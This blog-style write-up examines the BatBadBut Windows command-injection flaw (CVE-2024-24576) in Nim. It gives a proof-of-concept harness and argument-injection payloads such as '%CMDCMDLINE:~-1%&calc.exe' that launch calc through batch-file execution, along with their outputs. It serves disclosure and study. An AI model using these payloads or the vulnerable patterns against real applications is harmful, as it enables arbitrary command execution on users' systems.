Exploring Command Injection Vulnerabilities in Windows with Nim

Exploring Command Injection Vulnerabilities in Windows with Nim

The recent discovery reported by Flatt Security Research highlights the BatBadBut vulnerability (CVE-2024-24576) as a significant threat to the security of command execution in Windows. The issue arises because cmd, the command-line interpreter for Windows, utilizes its own unique method for escaping arguments, which may differ from what developers and applications expect.

Nim is not exempt from the complexities of command execution on Windows. Through experimentation with a basic Nim script that executes a test.bat file with different inputs, the subtle aspects of the command injection vulnerability are revealed.

Your system could be vulnerable if it matches these conditions:

  • Operating on Windows

  • Executes commands within the application

  • Accepts user input

  • Executes batch files based on user input

The Experiment

[*] foxoman/CVE-2024-24576-PoC---Nim: CVE-2024-24576 PoC for Nim Lang (github.com)

The Nim script executes the batch file in three distinct manners:

  • Without quoting the shell input using execProcess

  • With quoting execProcess, using quoteShell

  • Direct shell command execution using execShellCmd

import osproc, os

block execProcess_NoQuoteShell:
  echo "[*] execProcess NoQuoteShell"
  echo "enter payload here"

  let input = readLine(stdin)

  let output =
    execProcess("test.bat", args = @[input], options = {poUsePath,
        poStdErrToStdOut})

  echo "Output:\n", output

block execProcess_QuoteShell:
  echo "[*] execProcess QuoteShell"
  echo "enter payload here"

  let input = readLine(stdin).quoteShell()

  let output =
    execProcess("test.bat", args = @[input], options = {poUsePath,
        poStdErrToStdOut})

  echo "Output:\n", output

block execShellCmd:
  echo "[*] execShellCmd"
  echo "enter payload here"

  let input = readLine(stdin)

  echo "Output:"
  discard execShellCmd("test.bat " & input)

Test 1: Simple Payload

A benign command, nim &calc, reveals differing behaviors:

  • The unquoted execution passes the payload intact, echoing back without unintended consequences.

  • Quoting via quoteShell results in misinterpretation, breaking the command.

  • Direct execution surprisingly splits the input, inadvertently running calc.

[*] execProcess NoQuoteShell
enter payload here
nim &calc
Output:
Argument received: "nim &calc" 

[*] execProcess QuoteShell
enter payload here
nim &calc
Output:
Argument received: "\"nim
'calc\""' is not recognized as an internal or external command,     
operable program or batch file.

[*] execShellCmd
enter payload here
nim &calc
Output:
Argument received: nim # it run calc

Test 2: Sophisticated Payload

Using a more complex payload, nim" &calc, illustrate further discrepancies:

  • Unquoted execution interprets the command in a risky manner, running calc.

  • Quoted execution, this time, correctly escapes, showcasing the intended safety mechanism.

  • Direct execution correctly handles the input but underscores potential risk areas.

[*] execProcess NoQuoteShell
enter payload here
nim" &calc
Output:
Argument received: "nim\" #it run calc

[*] execProcess QuoteShell
enter payload here
nim" &calc
Output:
Argument received: "\"nim\\\" &calc\"" #ecaped correctly

[*] execShellCmd
enter payload here
nim" &calc
Output:
Argument received: nim" &calc # escaped correctly

Test 3: Exploitative Payload

An exploitative payload %CMDCMDLINE:~-1%&calc.exe, designed to directly invoke calc.exe, unearths a consistent threat across all execution methods, demonstrating the ease of initiating unintended commands.

[*] execProcess NoQuoteShell
enter payload here
%CMDCMDLINE:~-1%&calc.exe
Output:
Argument received: e

[*] execProcess QuoteShell
enter payload here
%CMDCMDLINE:~-1%&calc.exe
Output:
Argument received: e

[*] execShellCmd
enter payload here
%CMDCMDLINE:~-1%&calc.exe
Output:
Argument received: e

Conclusion

Here's a summarized table based on the testing results from the Nim code experiments with different payloads:

PayloadexecProcess_NoQuoteShellexecProcess_QuoteShellexecShellCmd
nim &calcNot PassedNot PassedPassed
nim" &calcPassedNot PassedNot Passed
%CMDCMDLINE:~-1%&calcPassedPassedPassed

"Passed" indicates the payload executed in a way that could potentially exploit the BatBadBut vulnerability, demonstrating the nuanced behavior of command execution methods in Nim in response to different types of inputs.